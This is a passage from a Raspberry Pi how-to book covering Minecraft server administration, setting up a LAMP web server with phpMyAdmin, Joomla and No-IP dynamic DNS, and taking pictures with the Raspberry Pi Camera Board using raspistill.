configure an internal network device with a public IP address by reading Chapter 15, “Raspberry Pi
Web Server.” You can learn how to configure port forwarding on your router by visiting
PortForward.com (http://is.gd/ttSr5H).
Administering a Minecraft Server
Minecraft server administration is an art and science unto itself and is therefore far outside the scope
of this book. Nevertheless, I want to give you the core need-to-know information.
In the Terminal window from which you started the Minecraft server, type help to get a list of
Minecraft server commands.
A Minecraft server operator is known as an op (pronounced op or oh-pee, and sometimes stylized as
OP). Before you start issuing online commands, however, you should learn how to modify the
Minecraft server configuration file.
Type stop in the Minecraft Server console to stop the server. Next, open the config file, which is
located by default in your home directory:
Click here to view code image
sudo nano server.properties
The server.properties file consists of simple key/value pairs; the trick is learning what each property
means. I suggest you review the list at the Minecraft Wiki (http://is.gd/awZBsZ).
Visually, the file isn’t much to look at; it’s just a typical plain text configuration file. For instance,
here are the first few lines of a sample server.properties file:
Click here to view code image
#Minecraft server properties
#Wed May 22 21:15:19 EDT 2013
generator-settings=
allow-nether=true
level-name=world
enable-query=false
Note: Operating a Minecraft Server
In Minecraft server nomenclature, an operator, or OP (oh-PEE, or ohp) is a superuser
who has full control over the entire server. Obviously, you as the server owner should have
OP privileges, but you should be very careful before assigning OP to any other Minecraft
users.
Make your Minecraft user an OP by typing the following command in the server console:
op <username>
You see this feedback display onscreen directly in your game session. To issue a server command in
the game, precede the command with a slash (/). For instance
/me <message>
This command sends a status message to all connected players on the server. You can use /tell to send
private messages to individual users. The in-game multiplayer experience is represented in Figure
14.7.
FIGURE 14.7 You can issue player or op commands directly in the game.
If you find the Minecraft server command syntax similar to that of Internet Relay Chat (IRC), then
good for you—that’s exactly what it feels like.
As an OP, you have godlike control over the server-spawned Minecraft world. For instance, if it’s
nighttime and you want to jump time to dawn, try this from the game:
/time set 0
A time value of 12000 takes you to dusk.
MinecraftServerHost.net provides a good, comprehensive list of Minecraft player and op server
commands at http://is.gd/ttSr5H. The trusty Minecraft Wiki is also helpful (http://is.gd/ax3Lrr).
Minecraft Plugins
Finally, we come to the subject of plugins, which are add-ons to the Minecraft server that enable you
to vastly extend your control over the multiplayer gaming environment. Many Minecraft OPs search
for plugins by browsing the Bukkit website at http://is.gd/P6l0Rs. Here is the high-level installation
overview:
Download the plug-in .JAR file to your server.
Place the .JAR file in your plugins directory.
Stop and start the server.
Chapter 15. Raspberry Pi Web Server
A web server is a computer that serves content by using standard Internet protocols. The word
standard is key here because web communications are shared seamlessly across any kind of device,
from desktop computers to video game consoles to tablets and mobile phones.
Any device that can (a) connect to a local area network or the Internet, and (b) has a web browser or
web-aware application installed makes use of these standard protocols. The content that is served by
a web server consists of the following media types at the very least:
Web pages: Text that is formatted with hyperlinks, pointers to other content on the same page,
the same website, or a different website (representative file types: .htm, .html, .php, .aspx).
Images: These can be static or animated pictures of the bitmap or vector variety
(representative file types: .gif, .jpg, .png, .svg).
Audio: These can be background clips or full songs (representative file types: .mp3, .wav,
.m4a).
Movies: Video segments of any length, displayed in either standard or high definition
(representative file types: .mov, .mp4).
Interactions: These can be games, tutorials, simulations, and so forth (representative file
types: .swf, .xap).
I mentioned that the universality of web servers lies in their use of standard web protocols. What are
these? Well, the first thing to know is that a network protocol is essentially a set of rules or
conventions that allows two computer systems to recognize each other and to meaningfully exchange
data.
Specifically, web servers are called HTTP servers because they use the Hypertext Transfer Protocol
(HTTP) as their base network protocol. Many other protocols are involved in delivering web content,
of course, including Internet Protocol (IP), Transmission Control Protocol (TCP), and Address
Resolution Protocol (ARP).
Note: Learn More About Protocols
The subject of networking protocols is far too broad and deep to cover thoroughly in
this book. For more information, please check out How the Internet Works by my Que
Publishing colleague Preston Gralla (http://is.gd/WZyOnb). In contrast to the rapid rate of
change with most technologies, the Internet, for the most part, works the same way today as
it did when this book was published in 2006.
Okay, then. Now that we understand a bit about what web servers are, why are they so important to us
as Raspberry Pi hackers?
To answer that question, think to yourself how often you turn to a web browser to get any particular
electronic task done. You can use a fully-fledged browser such as Internet Explorer or Google
Chrome, or you can use a line-of-business (LOB) application that makes use of web standards to
retrieve content from a web server.
For instance, you can make your Raspberry Pi a web server to accomplish any of the following goals:
WordPress blog
Joomla content management server
Webcam control center
Minecraft server
The list of potential projects that take advantage of an HTTP server goes on and on. The bottom line
is that HTTP is a lightweight and convenient way to present online content, so why not make use of
this wonderful, extensible platform on your Raspberry Pi devices?
What Is the LAMP Stack?
In web development terminology, a protocol stack is a suite of related networking protocols and
technologies that fit together like finger in glove to accomplish particular kinds of work. There was a
time, not too many years ago, when websites were simply static collections of manually created
HTML web pages.
On the off chance this escaped your notice, I’m here to tell you that static websites have largely gone
the way of the dodo. Nowadays, any web developer or designer worth his or her salt needs
dynamically generated web pages that pull data from a database such as MySQL, Oracle, or
Microsoft SQL Server. These dynamic websites are called data-driven web applications.
I whipped up a schematic diagram of web communications in Figure 15.1 that I hope makes this
situation clearer.
FIGURE 15.1 The basic elements of web communications
In Linux, the reference standard for an open source web development protocol stack is LAMP. LAMP
in this context is an acronym for
Linux: This is the base operating system for the web server.
Apache: This is the world-standard open source HTTP server software.
MySQL: This is the world-standard semi-open source Structured Query Language (SQL)
relational database management system (RDBMS).
PHP: This is the world-standard open source web development programming language.
Incidentally, PHP is a strange acronym that stands for Hypertext Pre Processor.
If all this sounds like Greek to you, don’t get too stressed out, now—I know I am throwing a lot of
technologies and acronyms at you. Let’s just take things one step at a time, and more will become
clear, including how all this relates to your use of the Pi.
Installing Your Web Server
In terms of HTTP Server software, these are the major players in the world as of spring 2013
according to Netcraft (http://is.gd/uIbG30):
Apache, by the Apache Software Foundation: http://is.gd/x3xZvH
Internet Information Services (IIS), by Microsoft: http://is.gd/ILyw06
nginx (pronounced engine ex), by Igor Sysoev: http://is.gd/ydUSGd
Of the preceding software, only IIS is proprietary. In addition, IIS is the only web server software
that is platform-dependent. By contrast, Apache and nginx have software variants that run on
Windows, OS X, and Linux.
Note: Etymology of Apache
Officially, the name Apache in Apache HTTP Server was chosen out of respect for the
Native American tribe of the same name. Unofficially, some people submit that Apache
stands for “A Patchy,” as in “Apache is continually patched and updated; therefore, it is a
patchy server.”
In this book, we standardize on Apache 2 as our web server of choice for the Raspberry Pi. To that
point, if you’re concerned that Apache might be a bit too heavy for your Raspberry Pi, lighter-weight
Apache
distributions
are
available.
For
instance,
check
out
the
Cherokee
project
(http://is.gd/IpGFx3). Frankly, I was going to use Cherokee for this chapter, but I don’t feel the
software is quite stable enough to recommend to you yet.
Lighttpd (pronounced lightly) is another example of a quality, lightweight web server. Visit the
project home page at http://is.gd/pVbk3P.
Task: Installing the LAMP Stack on Raspberry Pi
By setting up your Raspberry Pi as a LAMP-based web platform, you will gain an
intimate understanding of how web servers work under the proverbial hood. If nothing else,
you have some insider information with which you can impress your friends at the bar!
1. Open up a Terminal session and install Apache, PHP, and the library that links the two
technologies together under Linux:
Click here to view code image
sudo apt-get install apache2 php5 libapache2-mod-php5
2. After the installation completes, restart the Apache service (also called daemon,
pronounced dee-mun):
Click here to view code image
sudo service apache2 restart
3. Make sure that the default Home page was created. You can use cat to display text file
contents directly onscreen:
cat /var/www/index.html
If you see some HTML tags show up (for instance, <h1>It works!</h1>, you are good to
go so far.
4. Type startx to get into LXDE (alternatively, run a remote VNC section as you learned in
Chapter 7, “Networking Raspberry Pi”).
5. Open the Midori browser and navigate to the following URL:
http://localhost
If you see the output displayed in Figure 15.2, congratulations—you successfully
installed Apache 2!
FIGURE 15.2 Ocular proof that the Apache 2 web server is running properly
Task: Verifying PHP Configuration
PHP includes a built-in function called phpinfo() that is useful in determining whether
we set up PHP correctly on our server. Let’s see how it works.
1. Navigate to the default content directory in Apache 2:
1. Navigate to the default content directory in Apache 2:
cd /var/www
2. Create a new text file with an appropriate name:
Click here to view code image
sudo nano phpinformation.php
3. In nano, add the following line:
<?php phpinfo();?>
4. Press Ctrl+X, Y, and Enter to save the file and exit nano.
5. Log into LXDE if you aren’t already there.
6. Open Midori and navigate to the following URL:
Click here to view code image
http://localhost/phpinformation.php
If you see the phpinfo() function output shown in Figure 15.3, you can rest assured that
you successfully installed PHP.
FIGURE 15.3 Verifying PHP is running correctly on the Pi
7. Now let’s turn our attention to installing MySQL, the lone remaining member of the
LAMP stack:
Click here to view code image
sudo apt-get install mysql-server mysql-client php5-mysql
MySQL (pronounced my ess-cue-el) is a client-server application (hence the necessity
to install the server and client components) that is known for being fast, lightweight, and
reasonably secure and extensible.
During the MySQL installation, you are prompted to set a strong password for the
MySQL root user. Please do this! In my opinion, a strong password consists of the
following attributes:
Length of at least eight characters
Mixture of uppercase and lowercase letters
Mixture of letters, numbers, and non-alphanumeric character
Doesn’t appear in a dictionary in any language
Task: Verifying MySQL Installation
Unfortunately, MySQL does not include a quickie diagnostic function like PHP does.
Here you simply check to see whether the MySQL service is present and available on your
Raspberry Pi computer.
1. From a Terminal session, run the following statement:
Click here to view code image
sudo /etc/init.d/mysql status
In Linux, init.d is a directory, not a file, that contains startup and shutdown scripts for
installed services on your system.
2. If you see output that resembles what’s shown in Figure 15.4, you know you have a fully
functioning instance of MySQL.
FIGURE 15.4 MySQL is installed and running on the Pi.
If you don’t see the output shown in Figure 15.4, don’t panic. In a worst possible case scenario, you
can re-flash your SD card with Raspbian and start over from scratch. Failing that extreme measure,
you can turn to the good folks at the Raspberry Pi Forums for assistance. Here is a link to a discussion
thread that covers just this topic: http://is.gd/C6iONe.
Tweaking Up Your Web Server Settings
Awesome—you have your LAMP stack installed, albeit with from the factory defaults. Next, you
need to get in there and make sure that the software is configured to your liking.
Apache is considered by many to be the world’s best web server for many reasons, but not the least
of which is that the server ships with strong and secure default values. Nonetheless, some of the most
common Apache tweaks that some admins make to their default installations include
Changing the location where web content files are stored
Changing the default TCP port
Modifying security and performance settings
Adding module packages to extend the capabilities of the server
As it happens, Apache 2 stores its configuration files in the directory /etc/apache2. Specifically, the
primary Apache2 configuration file is named apache2.conf, and stores general configuration
parameters. Another key Apache 2 configuration file is ports.conf, located in the same directory. The
ports.conf file stores TCP/IP connection settings.
You can use any text editor you want (for instance, nano from the Terminal or Leafpad from LXDE) to
edit the files.
MySQL stores its configuration settings in /etc/mysql/my.cnf.
PHP stores its settings in /etc/php5/apache2/php.ini.
Transferring Content to Your Web Server
When it comes to actually authoring your website, workflows vary among developers. For static
websites, all you truly need at minimum is a plain text editor to create your HTML files. For data-
driven applications, such as PHP apps that read from and write to a MySQL database, a more
comprehensive web authoring tool (or tools) might be more relevant.
Certainly, the subject of web development and design in itself is far outside the scope of this book.
For now, let’s focus on the easiest way to transfer web content from your development workstation
(which I presume for now is not your Raspberry Pi) to the Pi itself.
Recall that Secure Shell (SSH) is enabled by default in Raspbian. Therefore, you can make use of the
remote file-copy functionality, called Secure File Transfer Protocol (SFTP), that is part of the SSH
standard to transfer your content to the Pi. This method is admirable because of its security; all
session data over SSH is encrypted and consequently safe from malicious individuals.
Back in Chapter 7, I recommended FileZilla (http://is.gd/etsJLy) as a stable, reliable (and free) SFTP
client. Recall that FileZilla is available on Windows, OS X, and Linux. Let’s learn how to use
FileZilla to move web files from a remote host to your Raspberry Pi web server.
Task: Using SFTP to Transfer Content to Your Pi
1. Open FileZilla and click File, Site Manager to open the Site Manager tool.
2. In Site Manager, click New Site and give the connection an appropriate name.
3. On the General tab (shown in Figure 15.5), fill in the relevant connection details, like so:
Host: This is the IP address of your Pi.
Protocol: Select SFTP–SSH File Transfer Protocol.
Logon Type: Set to Normal.
User: Specify the user (pi, or another Raspberry Pi user if you have one).
Password: Specify the current password for the chosen account.
FIGURE 15.5 You can use FileZilla and SFTP to transfer web content to your Raspberry Pi.
4. Click Connect to save your connection and attempt to reach your Raspberry Pi. In the
future you can use your stored Site Manager entry to make it convenient to reconnect to
your Pi.
5. Navigate to the /var/www directory on your Pi as shown in Figure 15.5.
6. Drag and drop any content into the target Pi directory in FileZilla.
7. Click the Disconnect button on the toolbar to end your session.
Some long-time web users insist on using traditional FTP for transferring web content. FTP is cool
because it is ubiquitous, but it has a nasty downfall: All data transmitted between the FTP server and
the FTP client is clear text. That includes passwords and any other sensitive data!
Therefore, I strongly suggest you stick to using SFTP, as it employs the same command set as
unencrypted FTP, has no noticeable performance penalty, and is already enabled on the Pi.
If you insist on investigating an FTP solution for your Pi, I recommend you go with vsftpd
(http://is.gd/9RCFch).
Task: Install and Test FTP on Your Raspberry Pi
1. Install the software.
sudo apt-get install vsftpd
2. When installation completes, open the vsftpd configuration file:
sudo nano /etc/vsftpd.conf
3. Uncomment the following lines by removing the hash (#) character:
Anonymous_enable=NO
Local_enable=YES
Write_enable=YES
Ascii_upload_enable=YES
Ascii_download_enable=YES
4. Press Ctrl+O to save and then press Ctrl+X to exit nano.
5. “Bounce” or restart the vsftpd service:
Click here to view code image
sudo /etc/init.d/vsftpd restart
You can test that the FTP server works by firing up FileZilla and connecting to your Pi,
specifying the FTP - File Transfer Protocol option in the Site Manager.
Alrighty then! Now that you have verified your Raspberry Pi web server is fully functional and you
understand how to manually populate content, let’s use a couple representative example web apps as
a case study in discerning what a Raspberry Pi web server is capable of.
Setting Up phpMyAdmin
If you’ve had a chance to play with MySQL at all to this point, you’ve discovered that MySQL does
not include any graphical management tools by default. As it happens, Oracle does provide a GUI
toolkit called MySQL Workbench (http://is.gd/PIQrpJ). However, these Java-based tools are
considered by most to be too resource-intensive for the Raspberry Pi.
Thus, kind and gentle reader, I introduce you to phpMyAdmin. phpMyAdmin (http://is.gd/T17bRC) is
an open source PHP web application that provides you with a graphical front-end interface to
MySQL (see Figure 15.6). Because phpMyAdmin is a web browser–based tool, you can run it on the
Raspberry Pi with little to no performance impact.
FIGURE 15.6 phpMyAdmin, a web-based MySQL administration tool
Task: Installing phpMyAdmin
1. As usual, you need to download the software from the Raspberry Pi repositories:
apt-get install phpmyadmin
2. In the Configuring phpmyadmin screen that appears, press the Spacebar to place a
selection asterisk next to apache2, which is your installed web server. Then press Tab
and Enter to continue.
3. When the next Configuring phpmyadmin screen displays, select Yes to install the
phpmyadmin database.
4. Type in the MySQL root user password and press Enter to continue. You’ll next be asked
to create and confirm a phpMyAdmin administrator password.
5. Now you need to open the Apache 2 configuration file and link Apache to phpMyAdmin.
Click here to view code image
sudo nano /etc/apache2/apache2.conf
6. In nano, press Ctrl+V repeatedly to scroll to the bottom of the file. When you are there,
add the following line, save changes, and exit nano.
Click here to view code image
Include /etc/phpmyadmin/apache.conf
7. Restart Apache.
Click here to view code image
sudo /etc/init.d/apache2 restart
8. To test phpMyAdmin, start LXDE, open Midori, and navigate to the following URL:
http://localhost/phpmyadmin
Log in with the username root and whatever password you specified for the MySQL
administrator. If you see the interface that is shown in Figure 15.6, you’re home free!
Note: For Further Learning
Packt Publishing has released a series of books on how to use phpMyAdmin; check
them out at http://is.gd/OyFw0J.
You know, as much as I like the idea behind Midori as a minimalist web browser, I haven’t had much
luck running anything but the most bare-bones of web apps from this tool. For instance, phpMyAdmin
displays all these distressing artifacts on screen.
As an alternative, you might want to consider installing Iceweasel (http://is.gd/cfmCHP), the Debian
port of the Mozilla Firefox web browser. Run sudo apt-get install iceweasel, confirm the installation,
and check the Internet folder in LXPanel menu—you might love it!
Setting Up Joomla
Joomla (http://is.gd/Xl2hSu) is a leading content management system (CMS) platform. Many
businesses build their corporate websites on Joomla because Joomla is open source, free, and
eminently flexible. Under the hood, Joomla is a PHP/MySQL-based web application, so it functions
perfectly well in a LAMP stack environment. I show you the Joomla default Home page in Figure
15.7.
FIGURE 15.7 Joomla is an awesome content management platform.
You can also use Joomla as a blog or as an online photo/video gallery...the list is almost limitless.
Note: More on Joomla!
For step-by-step instructions on how to use Joomla to build dynamic websites, please
r e a d The
Official
Joomla!
Book
by
Jennifer
Marriott
and
Elin
Waring
(http://is.gd/BA3jtO).
Despite its richness and robustness, Joomla runs reasonably well on the Raspberry Pi. Let’s learn
how to install the platform.
Task: Installing Joomla on Your Raspberry Pi
1. From LXDE, fire up your favorite web browser, visit http://is.gd/spdPUN, and
download the latest version of Joomla. The installer will come down as a ZIP archive to
your home directory by default.
2. Open a Terminal session and unpack the Joomla contents to your default Apache content
directory.
Click here to view code image
cd
sudo unzip joomla.zip -d /var/www
In the previous code, replace joomla.zip with the actual name of the Joomla ZIP you
downloaded from the Joomla website.
3. You need to tweak the PHP configuration file a bit, so open it up in nano:
Click here to view code image
sudo nano /etc/php5/apache2/php.ini
4. In nano, press Ctrl+W to search for the string output_buffering.
5. Set the Development Value and Production Value parameters to 0.
6. Press Ctrl+O, ENTER, and then Ctrl+X to save the file and exit the nano editor.
7. Reboot the Pi.
sudo reboot
8. When you’re back from the reboot and in LXDE again, open another Terminal session,
create the Joomla configuration file, and make sure that the new file is writable.
Click here to view code image
cd /var/www
sudo touch configuration.php
sudo chmod 777 configuration.php
The touch command is used to create a new empty file. The chmod (pronounced see
aich mod) is used to edit permissions on files. You can learn more about the Linux file
system permissions, including the octal numeric and symbolic methods, by visiting good ol’
Wikipedia at http://is.gd/5hFhgO.
9. It’s time to complete the installation via a web browser. Open Midori, Iceweasel, or
your preferred web browser and open your Apache installation’s default content page:
http://localhost
10. If you see the default Apache page instead of a Joomla page, delete the old index.html
page:
sudo rm index.html
11. You are prompted to walk through a three-step initial configuration wizard, the first
screen of which is shown to you in Figure 15.8.
FIGURE 15.8 Joomla has a simple initial configuration wizard.
Here’s a brief discussion of the information you need to supply to Joomla:
Main Configuration: Site name and description; Joomla administrator login and contact
details
Database: Connection details to MySQL
Finalization: Install sample data, email data, confirm installation defaults
12. For security purposes, you are prompted to delete the installation folder before you can
begin using Joomla on your Pi. If you receive an error when you try to do this from a
browser, you can perform the action through Terminal:
cd /var/www
sudo rm -rf installation/
Putting Your Web Server on the Public Internet
The final subject I cover in this chapter is how to put your Raspberry Pi web server on the global
Internet. Inside the vast majority of private homes and businesses, computers use private, nonroutable
IP addresses dispensed by a DHCP server. These internal IP addresses are fine for communications
within the home or organization, but they don’t allow people on the Internet to connect directly to
those hosts.
Why would you want to expose your Raspberry Pi to the wild and wooly jungle called the World
Wide Web? Here are some valid reasons:
You can consume public web services such as Dropbox and Spotify.
You can communicate with other Internet users.
You can test out location services and other Internet-dependent applications.
On the other hand, you need to be mindful of some clear and present dangers associated with placing
any computer within reach of systems located around the globe:
A malicious user or application can infiltrate your Raspberry Pi.
You may unintentionally expose private data.
You may unknowingly consume network bandwidth (relevant for users with metered Internet
connections).
Thus, my suggested workflow for putting your Pi on the Internet is to
Configure your Pi with a static IP address. (I showed you how to do this in Chapter 7).
Use a dynamic DNS service.
Dynamic DNS services are necessary because DHCP is a lease-based protocol. In other words, your
host computers periodically receive new and different IP addresses from their servers, which makes
reliable connections to computers unreliable.
Configuring your Raspberry Pi with a static private IP address is fine; this means you’ll always be
able to connect to the device from within your LAN by using that IP address. Dynamic DNS services
come into play because they allow you to map an internal network device with a public Domain
Name System (DNS) name.
In my experience, the two major players in the dynamic DNS space are
No-IP (http://is.gd/hhmpFu)
DynDNS (http://is.gd/nKysbj)
Both of these services offer entry-level features for free and more advanced capabilities for a
subscription fee.
First, you need to visit the No-IP website and create a free account. After you’ve done that, you can
manage your host/domain name mappings. By default, your DNS host names will use the suffix no-
ip.biz. If you own a domain of your own, you can become a paying subscriber to access those
additional features.
Second, you need to determine whether your Pi connects directly to your ISP and has a public IP
address or if the device resides behind your router and receives a private IP.
The former case is the easiest; you see your ISP-given public IP and associated default hostname in
your No-IP control panel as shown in Figure 15.9.
FIGURE 15.9 You can adjust your host-DNS name mappings in the No-IP Control Panel.
If your Pi is one of several hosts behind your single Internet connection, don’t sweat it because the
No-IP client that you’ll install on your Pi is intelligent enough to sort it all out.
Task: Making Your Raspberry Pi Publicly Accessible by Using No-IP
1. Create a subdirectory inside your home directory to place the No-IP client software:
cd
mkdir noip
cd noip
2. Download the No-IP dynamic update client (DUC) software:
Click here to view code image
wget http://www.no-ip.com/client/linux/noip-duc-linux.tar.gz
3. Unpack the compressed tarball archive and navigate into the new folder:
Click here to view code image
ar vzxf no-ip-duc-linux.tar.gz
ls no*
cd noip-2.1.9-1
Note: Version Control
In step 3, make sure to use the ls command to verify the name of the extracted
directory. Your No-IP client version might be more recent than the one I used at the
time of this writing.
4. The files you downloaded are the uncompiled source, which often comes as a surprise to
Windows or OS X users that don’t typically have to deal with compiling downloaded
software. Enter the following commands to manually compile the software:
sudo make
sudo make install
You are prompted to enter your no-ip.com membership credentials during the client
installation process on the Pi. You are also asked to specify a default refresh interval,
which synchronizes your computer’s IP address with the No-IP hostname.
5. Mission accomplished! You can now run the No-IP client:
sudo /usr/local/bin/noip2
If your Raspberry Pi exists as a DHCP client on your internet network, you have one more step to do.
You need to log into your router and set up port forwarding to allow traffic on TCP port 80 (HTTP)
to transit to your Raspberry Pi’s internal IP address. The setup on my Comcast IP Business Gateway
is shown in Figure 15.10.
FIGURE 15.10 I need to set up port forwarding to my internal Raspberry Pi.
To test that the public IP works, fire up a web browser on another computer, preferably on a remote
network, and see if you can load the Joomla site you just created. For instance, my No-IP DNS name
is timwarner.no-ip.biz, so in my browser I type
http://timwarner.no-ip.biz
You will be unpleasantly surprised, I’m sure, to learn that the No-IP dynamic update client does not
run automatically at startup by default. Never fear, however. You can find an excellent, step-by-step
tutorial for doing this at the Stuff About Code website (http://is.gd/VVolQr).
Chapter 16. Raspberry Pi Portable Webcam
In this chapter you learn how to take still pictures and record video with your Raspberry Pi. Perhaps
you want to investigate time lapse photography, install a baby monitor, set up a security camera,
deploy a bird feeder cam, or simply snap interesting images.
Prior to May 2013, when the Raspberry Pi Foundation introduced the Raspberry Pi Camera Board,
enthusiasts did their best to use their USB webcams with their Raspberry Pi units. To be sure, this
chapter teaches you how to use the Pi with third-party cameras. However, I must tell you that the
Raspberry Pi Camera Board is pretty slick!
I conclude this lesson with step-by-step instructions and best practice advice for putting your
Raspberry Pi on battery and therefore freeing you up to take your new webcam wherever you need to
take it. Let’s get started!
About the Raspberry Pi Camera Board
As you know, the Model A and Model B boards include a Camera Serial Interface 2 (CSI-2) camera
connector, shown in Figure 16.1. The interface is labeled S5 and is located between the USB and
HDMI ports on the Pi PCB.
FIGURE 16.1 The MIPI CS-2 camera interface on a Model A board
Initially the Foundation said nothing as to whether it would create a camera to connect to this
interface, leaving Raspberry Pi enthusiasts to speculate as to how they could access the CSI-2
interface through hardware hacking. Other Pi users simply plugged in their USB-connected cameras;
we cover that idea later in this chapter.
This situation cleared up in May 2013 when the Raspberry Pi Foundation announced a $25 accessory
called the Raspberry Pi Camera Board, which does in fact connect to the Pi through the CSI-2
interface.
The Raspberry Pi camera board is available through the typical channels:
RS Components: http://is.gd/6ol2Gq
Premier Farnell/Element 14: http://is.gd/xJSkbQ
Physically, the CSI connector (the one shown in Figure 16.1) implements a 15-pin flex ribbon cable.
One end connects to the CSI-2 interface on the Raspberry Pi PCB. The other end of that cable is
soldered directly to the Raspberry Pi Camera Board, as shown in Figure 16.2.
FIGURE 16.2 Raspberry Pi Camera Board PCB
The specs for this board (also called Camera Module) are listed in Table 16.1.
TABLE 16.1 Raspberry Pi Camera Board Specifications
I think you’ll find that the Raspberry Pi camera board specs compare favorably with those of, say, the
iPhone 4 from summer 2010. Not too shabby! Actually, I found that the Camera Board shoots better
video than many entry-level webcams I’ve used in the past.
The Camera Board ships in an anti-static bag enclosed by a minimalist paper box. When you handle
the Camera Board, be careful not to kink the ribbon cable—it is on the delicate side. You also want
to avoid touching the camera lens to avoid fingerprint smudges.
With no further ado, let’s get your new Raspberry Pi Camera Board set up and start snapping some
pictures and recording some video!
Installing and Configuring the Raspberry Pi Camera Board
Getting the Raspberry Pi Camera Board up and running consists of two phases:
Preparing the Pi and installing the camera driver
Physically installing the camera
As usual, in this chapter I assume you’re using the official Raspbian Linux distribution.
Task: Preparing the Raspberry Pi for the Camera Board
It is never a good idea to connect hardware to a computer’s motherboard while that
computer is powered up. That said, before you unplug the Pi and physically attach the
Camera Board, you need to enable the use of the camera in Raspbian.
As you’ll learn the raspi-config utility provides a simple interface for managing the
camera functionality. Let’s do that now.
1. Do not plug in the Camera Board yet. Power on the Pi, access a Terminal prompt, and
update your software (including Raspi-Config):
Click here to view code image
sudo apt-get update && sudo apt-get upgrade
2. Let’s go into Raspi-Config:
sudo raspi-config
3. In Raspi-Config, arrow down to the Camera option and press Enter.
4. In the Enable support for Raspberry Pi camera? dialog box, shown in Figure 16.3, select
Enable and press Enter.
FIGURE 16.3 Enable the Camera Board by using Raspi-Config.
5. Exit the Raspi-Config utility and reboot your Pi. When you are back from the reboot, shut
down the system to prepare for the Camera Board installation. Remember that the
shutdown command uses two primary switches: -h for shutdown (halt), and -r for reboot.
sudo shutdown -h now
Now that you have installed the necessary device drivers and readied the Raspberry Pi to use the
Camera Board, let’s connect the add-on to the Pi’s PCB.
Task: Installing the Raspberry Pi Camera Board
Okay. Now that you’ve notified your Pi’s software that you want to use the Camera
Board, and you’ve removed power from the Pi (is that similar to “power to the people”?
Never mind...), you can proceed with the physical installation.
One preliminary word of caution: The CSI-2 interface on the Raspberry Pi is delicate.
Don’t use too much force or you may break the retaining clips and render the entire
interface useless. Let’s get to work!
1. Make sure that your Raspberry Pi is powered off. Unplug all cables from the PCB.
2. Using your fingers, grasp the edges of the CSI-2 connector and gently lift up the retaining
clip. Note that the clip remains attached to the interface; it lifts approximately 1–2mm.
3. Insert the Camera Board ribbon cable into the CSI-2 interface with the copper traces
facing away from the USB ports. You can see the correct orientation in Figure 16.4.
FIGURE 16.4 The Camera Board installation procedure is a bit tedious, and the components
are certainly delicate.
4. When the ribbon cable is seated in the interface, grasp the retaining clip with your
fingers and gently press down to lock the cable and the interface together securely.
Alrighty then! As you can see in Figure 16.5, the Raspberry Pi and the Camera Board are now
(hopefully) a functional unit.
FIGURE 16.5 The Raspberry Pi and the Camera Board add-on make a nice pair, don’t they?
Using the Camera Board
The Raspberry Pi Foundation provides two command-line utilities for using the Camera Board:
raspistill: Used to take still images in both JPEG and RAW formats
raspivid: Used to record video by using the H.264 codec
In the next section I cover how to use raspistill to take still pictures. In the section that follows I turn
your attention to shooting full-motion video (FMV) using raspivid.
Capturing Still Pictures
Let’s begin by obtaining some command-line syntax help:
raspistill | less
Figure 16.6 shows you the screen output for raspistill; this should serve as a nice reference for you.
FIGURE 16.6 raspistill command syntax
You can also download the full documentation for the Camera Board commands from
http://is.gd/18PvNf.
To tell your Pi to snap a picture, enter the following command:
raspistill -o myimage.jpg
When you run raspistill, you see an LED light up on the Camera Board for approximately four
seconds; the image is exposed just before the LED goes out.
Any photographs you capture are stored in your present working directory. Thus, if you execute the
raspistill command in the context of your home directory, that’s where your files reside by default.
The -o switch enables you to name the images using whatever file name you input after the switch,
myimage.jpg in this example.
From LXDE, you can double-click the image files to open them in your default web browser.
Alternatively, you can right-click them and select ImageMagick (display) to open them in the
ImageMagick open source image viewer.
Despite the lack of a flash or manual focus override, the picture quality is actually pretty good. Take a
look at Figure 16.7 to see yours truly posing for your viewing (and laughing) pleasure:
FIGURE 16.7 Despite the poor subject, you can see that the Raspberry Pi Camera Board takes a
pretty good picture.
Let’s buzz through some more sample syntax to give you a better idea as to what raspistill can do for
you. You can, for example, tell your Pi’s camera to take a picture at a set delay or image quality.
Take an image with a quality of 50% and a “shutter” delay of 10 seconds:
Click here to view code image
raspistill -o image3.jpg -q 50 -t 10000
The -q parameter goes from 0 (lowest quality) to 100 (highest quality). Quality, in this case, refers to
the degree of JPEG compression that is applied to captured images. JPEG is a lossy compression
algorithm, so even images taken at quality 100 will have some pixel loss due to the file format.
The timer value adds an exposure delay and works in thousands of seconds (milliseconds). Thus, a
value of 5000 represents a 5 second delay.
Take an image with custom dimensions, verbose command output, a quality of 80%, and a one-second
delay:
Click here to view code image
raspistill -v -w 1024 -h 768 -q 80 -o image4.jpg -t 1000
The verbose (-v) parameter is useful for educational and troubleshooting purposes. In fact, let me
show you the output of the previous raspistill command example:
Click here to view code image
pi@raspberrypi ~ $ raspistill -v -w 1024 -h 768 -q 80 -o image4.jpg -t 1000 >
output.txt
raspistill Camera App v1.2
Width 1024, Height 768, quality 80, filename image4.jpg
Time delay 1000, Raw no
Thumbnail enabled Yes, width 64, height 48, quality 35
Full resolution preview No
Preview Yes, Full screen Yes
Preview window 0,0,1024,768
Opacity 255
Sharpness 0, Contrast 0, Brightness 50
Saturation 0, ISO 400, Video Stabilisation No, Exposure compensation 0
Exposure Mode 'auto', AWB Mode 'auto', Image Effect 'none'
Metering Mode 'average', Colour Effect Enabled No with U = 128, V = 128
Rotation 0, hflip No, vflip No
ROI x 0.000000, y 0.000000, w 1.000000 h 1.000000
Camera component done
Encoder component done
Starting component connection stage
Connecting camera stills port to encoder input port
Opening output file image4.jpg
Enabling encoder output port
Starting capture 1
Finished capture 1
Closing down
Close down completed, all components disconnected, disabled and destroyed
Although the previous verbose output looks like so much gobbledygook at first glance, given
experience and practice you’ll come to appreciate the degree of detail that raspistill gives you. The
verbose output leaves nothing to the imagination, so you can figure out the source of any unexpected
behavior you see in taking still pictures with your Raspberry Pi.
Note: About Flash
Because neither the Raspberry Pi Camera Board nor any webcam I’ve ever used
includes a built-in flash, you need to pay attention to ambient light when you capture still
pictures or video. If you visit the Raspberry Pi forums (check out these threads:
http://is.gd/LaKy6m; http://is.gd/d1SoH5) you’ll find some enthusiastic debate regarding
the relative difficulty of accessing the Pi’s GPIO pins to attach and sync a flash bulb with
the camera sensor.
The consensus among Pi developers at the time of this writing is that the Omnivision
Camera Board firmware does include support for a flash, but digging into that firmware
source code isn’t something that the Raspberry Pi Foundation has addressed yet.
Recording Video with the Camera Board
As I mentioned earlier, the Raspberry Pi Foundation gives you the raspivid command-line utility to
capture full-motion video on your Pi.
Let’s get right into the thick of things by learning the raspivid command syntax:
raspivid | less
